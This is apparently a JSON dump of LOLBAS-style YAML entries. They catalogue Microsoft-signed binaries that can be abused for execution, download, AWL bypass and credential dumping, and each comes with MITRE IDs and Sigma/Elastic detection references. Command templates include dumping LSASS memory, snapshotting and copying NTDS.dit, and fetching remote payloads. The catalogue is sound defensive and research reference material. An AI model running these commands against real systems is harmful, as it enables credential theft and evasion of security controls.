C:\\Program Files\\dotnet\\shared\\Microsoft.NETCore.App\\\\createdump.exe\n - Path: C:\\Program Files (x86)\\dotnet\\shared\\Microsoft.NETCore.App\\\\createdump.exe\n - Path: C:\\Program Files\\Microsoft Visual Studio\\\\Community\\dotnet\\runtime\\shared\\Microsoft.NETCore.App\\6.0.0\\createdump.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\\\Community\\dotnet\\runtime\\shared\\Microsoft.NETCore.App\\6.0.0\\createdump.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml\n - IOC: createdump.exe process with a command line containing the lsass.exe process id\nResources:\n - Link: https://twitter.com/bopin2020/status/1366400799199272960\n - Link: https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnetcore/practice-troubleshoot-linux/lab-1-3-capture-core-crash-dumps\nAcknowledgement:\n - Person: bopin\n Handle: '@bopin2020'\n" }, { "path": "yml/OtherMSBinaries/Csi.yml", "content": "---\nName: csi.exe\nDescription: Command line interface included with Visual Studio.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: csi.exe {PATH:.cs}\n Description: Use csi.exe to run unsigned C# code.\n Usecase: Local execution of unsigned C# code.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CSharp\nFull_Path:\n - Path: c:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\MSBuild\\15.0\\Bin\\Roslyn\\csi.exe\n - Path: c:\\Program Files (x86)\\Microsoft Web Tools\\Packages\\Microsoft.Net.Compilers.X.Y.Z\\tools\\csi.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_csi_use_of_csharp_console.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\nResources:\n - Link: https://twitter.com/subTee/status/781208810723549188\n - Link: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OtherMSBinaries/DefaultPack.yml", "content": "---\nName: DefaultPack.EXE\nDescription: This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.\nAuthor: '@checkymander'\nCreated: 2020-10-01\nCommands:\n - Command: DefaultPack.EXE /C:\"{CMD}\"\n Description: Use DefaultPack.EXE to execute arbitrary binaries, with added argument support.\n Usecase: Can be used to execute stagers, binaries, and other malicious commands.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft\\DefaultPack\\DefaultPack.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml\n - IOC: DefaultPack.EXE spawned an unknown process\nResources:\n - Link: https://twitter.com/checkymander/status/1311509470275604480.\nAcknowledgement:\n - Person: checkymander\n Handle: '@checkymander'\n" }, { "path": "yml/OtherMSBinaries/Devinit.yml", "content": "---\nName: Devinit.exe\nDescription: Visual Studio 2019 tool\nAuthor: mr.d0x\nCreated: 2022-01-20\nCommands:\n - Command: devinit.exe run -t msi-install -i {REMOTEURL:.msi}\n Description: Downloads an MSI file to C:\\Windows\\Installer and then installs it.\n Usecase: Executes code from a (remote) MSI file.\n Category: Execute\n Privileges: User\n MitreID: T1218.007\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: MSI\n - Execute: Remote\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\\\Community\\Common7\\Tools\\devinit\\devinit.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\\\Community\\Common7\\Tools\\devinit\\devinit.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml\nResources:\n - Link: https://twitter.com/mrd0x/status/1460815932402679809\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OtherMSBinaries/Devtoolslauncher.yml", "content": "---\nName: Devtoolslauncher.exe\nDescription: Binary will execute specified binary. Part of VS/VScode installation.\nAuthor: felamos\nCreated: 2019-10-04\nCommands:\n - Command: devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} \"{CMD:args}\" test\n Description: The above binary will execute other binary.\n Usecase: Execute any binary with given arguments and it will call `developertoolssvc.exe`. `developertoolssvc` is actually executing the binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\n - Command: devtoolslauncher.exe LaunchForDebug {PATH_ABSOLUTE:.exe} \"{CMD:args}\" test\n Description: The above binary will execute other binary.\n Usecase: Execute any binary with given arguments.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: 'c:\\windows\\system32\\devtoolslauncher.exe'\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml\n - IOC: DeveloperToolsSvc.exe spawned an unknown process\nResources:\n - Link: https://twitter.com/_felamos/status/1179811992841797632\n - Link: https://www.virustotal.com/gui/file/84877a507af8b70c145777a87eaf28a8327c50a1563fe650f34572bef8a42ff6/details\nAcknowledgement:\n - Person: felamos\n Handle: '@_felamos'\n" }, { "path": "yml/OtherMSBinaries/Dnx.yml", "content": "---\nName: dnx.exe\nDescription: .NET Execution environment file included with .NET.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: dnx.exe {PATH_ABSOLUTE:folder}\n Description: Execute C# code located in the specified folder via 'Program.cs' and 'Project.json' (Note - Requires dependencies)\n Usecase: Local execution of C# project stored in consoleapp folder.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CSharp\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dnx.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\nResources:\n - Link: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/\nAcknowledgement:\n - Person: Matt Nelson\n Handle: '@enigma0x3'\n" }, { "path": "yml/OtherMSBinaries/Dotnet.yml", "content": "---\nName: Dotnet.exe\nDescription: dotnet.exe comes with .NET Framework\nAuthor: felamos\nCreated: 2019-11-12\nCommands:\n - Command: dotnet.exe {PATH:.dll}\n Description: dotnet.exe will execute any DLL even if applocker is enabled.\n Usecase: Execute code bypassing AWL\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with .NET installed\n Tags:\n - Execute: DLL (.NET)\n - Command: dotnet.exe {PATH:.dll}\n Description: dotnet.exe will execute any DLL.\n Usecase: Execute DLL\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with .NET installed\n Tags:\n - Execute: DLL (.NET)\n - Command: dotnet.exe fsi\n Description: dotnet.exe will open a console which allows for the execution of arbitrary F# commands\n Usecase: Execute arbitrary F# code\n Category: Execute\n Privileges: User\n MitreID: T1059\n OperatingSystem: Windows 10 and up with .NET SDK installed\n Tags:\n - Execute: FSharp\n - Command: dotnet.exe msbuild {PATH:.csproj}\n Description: dotnet.exe with msbuild (SDK Version) will execute unsigned code\n Usecase: Execute code bypassing AWL\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 and up with .NET Core installed\n Tags:\n - Execute: CSharp\nFull_Path:\n - Path: 'C:\\Program Files\\dotnet\\dotnet.exe'\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dotnet.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: dotnet.exe spawned an unknown process\nResources:\n - Link: https://twitter.com/_felamos/status/1204705548668555264\n - Link: https://gist.github.com/bohops/3f645a7238d8022830ecf5511b3ecfbc\n - Link: https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/\n - Link: https://learn.microsoft.com/en-us/dotnet/fsharp/tools/fsharp-interactive/\nAcknowledgement:\n - Person: felamos\n Handle: '@_felamos'\n - Person: Jimmy\n Handle: '@bohops'\n - Person: yamalon\n Handle: '@mavinject'\n" }, { "path": "yml/OtherMSBinaries/Dsdbutil.yml", "content": "---\nName: dsdbutil.exe\nDescription: Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.\nAliases:\n - Alias: dsDbUtil.exe # PE Original filename\nAuthor: Ekitji\nCreated: 2023-05-31\nCommands:\n - Command: dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"create\" \"quit\" \"quit\"\n Description: dsdbutil supports VSS snapshot creation\n Usecase: Snapshoting of Active Directory NTDS.dit database\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.003\n OperatingSystem: Windows Server 2012, Windows Server 2016, Windows Server 2019\n - Command: dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"mount {GUID}\" \"quit\" \"quit\"\n Description: Mounting the snapshot with its GUID\n Usecase: Mounting the snapshot to access the ntds.dit with `copy c:\\\\windows\\ntds\\ntds.dit c:\\users\\administrator\\desktop\\ntds.dit.bak`\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.003\n OperatingSystem: Windows Server 2012, Windows Server 2016, Windows Server 2019\n - Command: dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"delete {GUID}\" \"quit\" \"quit\"\n Description: Deletes the mount of the snapshot\n Usecase: Deletes the snapshot\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.003\n OperatingSystem: Windows Server 2012, Windows Server 2016, Windows Server 2019\n - Command: dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"create\" \"list all\" \"mount 1\" \"quit\" \"quit\"\n Description: Mounting with snapshot identifier\n Usecase: Mounting the snapshot identifier 1 and accessing it with `copy c:\\\\windows\\ntds\\ntds.dit c:\\users\\administrator\\desktop\\ntds.dit.bak`\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.003\n OperatingSystem: Windows Server 2012, Windows Server 2016, Windows Server 2019\n - Command: dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"list all\" \"delete 1\" \"quit\" \"quit\"\n Description: Deletes the mount of the snapshot\n Usecase: deletes the snapshot\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.003\n OperatingSystem: Windows Server 2012, Windows Server 2016, Windows Server 2019\nFull_Path:\n - Path: C:\\Windows\\System32\\dsdbutil.exe\n - Path: C:\\Windows\\SysWOW64\\dsdbutil.exe\nDetection:\n - IOC: Event ID 4688\n - IOC: dsdbutil.exe process creation\n - IOC: Event ID 4663\n - IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit\n - IOC: Event ID 4656\n - IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit\nResources:\n - Link: https://gist.github.com/bohops/88561ca40998e83deb3d1da90289e358\n - Link: https://www.netwrix.com/ntds_dit_security_active_directory.html\nAcknowledgement:\n - Person: bohop\n Handle: '@bohops'\n - Person: Ekitji\n Handle: '@eki_erk'\n" }, { "path": "yml/OtherMSBinaries/Dtutil.yml", "content": "---\nName: dtutil.exe\nDescription: Microsoft command line utility used to manage SQL Server Integration Services packages.\nAuthor: Avihay Eldad\nCreated: 2024-06-17\nCommands:\n - Command: dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}\n Description: Copy file from source to destination\n Usecase: Use to copies the source file to the destination file\n Category: Copy\n Privileges: Administrator\n MitreID: T1105\n OperatingSystem: Windows\nFull_Path:\n - Path: C:\\Program Files\\Microsoft SQL Server\\\\DTS\\Binn\\dtutil.exe\n - Path: C:\\Program Files (x86)\\Microsoft SQL Server\\\\DTS\\Binn\\dtutil.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/sql/integration-services/dtutil-utility?view=sql-server-ver16\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Dump64.yml", "content": "---\nName: Dump64.exe\nDescription: Memory dump tool that comes with Microsoft Visual Studio\nAuthor: mr.d0x\nCreated: 2021-11-16\nCommands:\n - Command: dump64.exe {PID} out.dmp\n Description: Creates a memory dump of the LSASS process.\n Usecase: Create memory dump and parse it offline to retrieve credentials.\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.001\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\Installer\\Feedback\\dump64.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml\n - IOC: As a Windows SDK binary, execution on a system may be suspicious\nResources:\n - Link: https://twitter.com/mrd0x/status/1460597833917251595\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OtherMSBinaries/DumpMinitool.yml", "content": "---\nName: DumpMinitool.exe\nDescription: Dump tool part Visual Studio 2022\nAuthor: mr.d0x\nCreated: 2022-01-20\nCommands:\n - Command: DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full\n Description: Creates a memory dump of the lsass process\n Usecase: Create memory dump and parse it offline\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.001\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\Extensions\\TestPlatform\\Extensions\\DumpMinitool.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml\nResources:\n - Link: https://twitter.com/mrd0x/status/1511415432888131586\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OtherMSBinaries/Dxcap.yml", "content": "---\nName: Dxcap.exe\nDescription: DirectX diagnostics/debugger included with Visual Studio.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Dxcap.exe -c {PATH_ABSOLUTE:.exe}\n Description: 'Launch specified executable as a subprocess of dxcap.exe. Note that you should have write permissions in the current working directory for the command to succeed; alternatively, add ''-file c:\\path\\to\\writable\\location.ext'' as first argument.'\n Usecase: Local execution of a process as a subprocess of dxcap.exe\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Command: dxcap.exe -usage\n Description: Once executed, `dxcap.exe` will execute `xperf.exe` in the same folder. Thus, if `dxcap.exe` is copied to a folder and an arbitrary executable is renamed to `xperf.exe`, `dxcap.exe` will spawn it.\n Usecase: Execute an arbitrary executable via trusted system executable.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: Rename\nFull_Path:\n - Path: C:\\Windows\\System32\\dxcap.exe\n - Path: C:\\Windows\\SysWOW64\\dxcap.exe\nCode_Sample:\n - Code: https://gist.github.com/ghosts621/1d0e0f43f7288c826035d5d011b6ca51\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml\n - IOC: dxcap.exe executing from outside of System32/SysWOW64\n - IOC: dxcap.exe spawning Xperf.exe\n - IOC: Xperf.exe executing from unusual directories (if not running from ADK path)\nResources:\n - Link: https://twitter.com/harr0ey/status/992008180904419328\nAcknowledgement:\n - Person: Matt harr0ey\n Handle: '@harr0ey'\n - Person: Vikas Singh\n Handle: '@vikas891'\n - Person: Naor Evgi\n Handle: '@ghosts621'\n" }, { "path": "yml/OtherMSBinaries/ECMangen.yml", "content": "---\nName: ECMangen.exe\nDescription: Command-line tool for managing certificates in Microsoft Exchange Server.\nAuthor: Avihay Eldad\nCreated: 2024-04-30\nCommands:\n - Command: ECMangen.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\\\Bin\\ECMangen.exe\n - Path: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\\\Bin\\x64\\ECMangen.exe\n - Path: C:\\Program Files\\Microsoft\\Exchange Server\\\\Bin\\ECMangen.exe\n - Path: C:\\Program Files\\Microsoft\\Exchange Server\\Bin\\ECMangen.exe\n - Path: C:\\Program Files\\Microsoft\\Exchange Server\\ClientAccess\\Bin\\ECMangen.exe\n - Path: C:\\ExchangeServer\\Bin\\ECMangen.exe\nDetection:\n - IOC: URL on a ECMangen command line\n - IOC: ECMangen making unexpected network connections or DNS requests\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Excel.yml", "content": "---\nName: Excel.exe\nDescription: Microsoft Office binary\nAuthor: 'Reegun J (OCBC Bank)'\nCreated: 2019-07-19\nCommands:\n - Command: Excel.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Excel.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\Excel.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\Excel.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\Excel.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\Excel.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\Excel.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office12\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\Excel.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\Excel.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml\n - IOC: Suspicious Office application Internet/network traffic\nResources:\n - Link: https://twitter.com/reegun21/status/1150032506504151040\n - Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191\nAcknowledgement:\n - Person: 'Reegun J (OCBC Bank)'\n Handle: '@reegun21'\n" }, { "path": "yml/OtherMSBinaries/Fsi.yml", "content": "---\nName: Fsi.exe\nDescription: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK.\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: fsi.exe {PATH:.fsscript}\n Description: Execute F# code via script file\n Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies\n Category: AWL Bypass\n Privileges: User\n MitreID: T1059\n OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)\n Tags:\n - Execute: FSharp\n - Command: fsi.exe\n Description: Execute F# code via interactive command line\n Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies\n Category: AWL Bypass\n Privileges: User\n MitreID: T1059\n OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)\n Tags:\n - Execute: FSharp\nFull_Path:\n - Path: C:\\Program Files\\dotnet\\sdk\\\\FSharp\\fsi.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsi.exe\nCode_Sample:\n - Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1\nDetection:\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Fsi.exe execution may be suspicious on non-developer machines\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml\nResources:\n - Link: https://twitter.com/NickTyrer/status/904273264385589248\n - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/\nAcknowledgement:\n - Person: Nick Tyrer\n Handle: '@NickTyrer'\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OtherMSBinaries/FsiAnyCpu.yml", "content": "---\nName: FsiAnyCpu.exe\nDescription: 32/64-bit FSharp (F#) Interpreter included with Visual Studio.\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: fsianycpu.exe {PATH:.fsscript}\n Description: Execute F# code via script file\n Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies\n Category: AWL Bypass\n Privileges: User\n MitreID: T1059\n OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)\n Tags:\n - Execute: FSharp\n - Command: fsianycpu.exe\n Description: Execute F# code via interactive command line\n Usecase: Execute payload with Microsoft signed binary to bypass WDAC policies\n Category: AWL Bypass\n Privileges: User\n MitreID: T1059\n OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)\n Tags:\n - Execute: FSharp\nFull_Path:\n - Path: c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsianycpu.exe\nCode_Sample:\n - Code: https://gist.github.com/NickTyrer/51eb8c774a909634fa69b4d06fc79ae1\nDetection:\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: FsiAnyCpu.exe execution may be suspicious on non-developer machines\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml\nResources:\n - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/\nAcknowledgement:\n - Person: Nick Tyrer\n Handle: '@NickTyrer'\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OtherMSBinaries/IntelliTrace.yml", "content": "---\nName: IntelliTrace.exe\nDescription: Visual Studio command-line tool for collecting and managing diagnostic trace files.\nAuthor: Avihay Eldad\nCreated: 2025-09-21\nCommands:\n - Command: IntelliTrace.exe launch /cp:\"collectionplan.xml\" /f:\"c:\\users\\public\\log\" \"C:\\Windows\\System32\\calc.exe\"\n Description: Launches an executable via Visual Studio command line utility.\n Usecase: Executes an executable under a trusted microsoft signed binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/visualstudio/debugger/intellitrace\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Logger.yml", "content": "---\nName: Logger.exe\nDescription: A logging configuration tool from the Windows Kits used to start and manage process logging.\nAuthor: Avihay Eldad\nCreated: 2025-07-13\nCommands:\n - Command: logger.exe RUN \"{CMD}\"\n Description: Executes the command specified after the `RUN` parameter as a child of `logger.exe`.\n Usecase: Executes an abitrary command via a signed binary to evade detection.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\n - Command: logger.exe RUNW \"{CMD}\"\n Description: Executes the command specified after the `RUNW` parameter as a child of `logger.exe`.\n Usecase: Executes an abitrary command via a signed binary to evade detection.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\n - Command: logger.exe \"{CMD}\"\n Description: Executes the command specified as a child of `logger.exe`.\n Usecase: Executes an abitrary command via a signed binary to evade detection.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\logger.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\logger.exe\n - Path: C:\\Program Files\\Windows Kits\\10\\Debuggers\\x86\\logger.exe\n - Path: C:\\Program Files\\Windows Kits\\10\\Debuggers\\x64\\logger.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/logger\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Mftrace.yml", "content": "---\nName: Mftrace.exe\nDescription: Trace log generation tool for Media Foundation Tools.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Mftrace.exe {PATH:.exe}\n Description: Launch specified executable as a subprocess of Mftrace.exe.\n Usecase: Local execution of cmd.exe as a subprocess of Mftrace.exe.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x86\\mftrace.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x64\\mftrace.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x86\\mftrace.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x64\\mftrace.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml\nResources:\n - Link: https://twitter.com/0rbz_/status/988911181422186496\nAcknowledgement:\n - Person: fabrizio\n Handle: '@0rbz_'\n" }, { "path": "yml/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey.yml", "content": "---\nName: Microsoft.NodejsTools.PressAnyKey.exe\nDescription: Part of the NodeJS Visual Studio tools.\nAuthor: mr.d0x\nCreated: 2022-01-20\nCommands:\n - Command: Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}\n Description: Launch specified executable as a subprocess of Microsoft.NodejsTools.PressAnyKey.exe.\n Usecase: 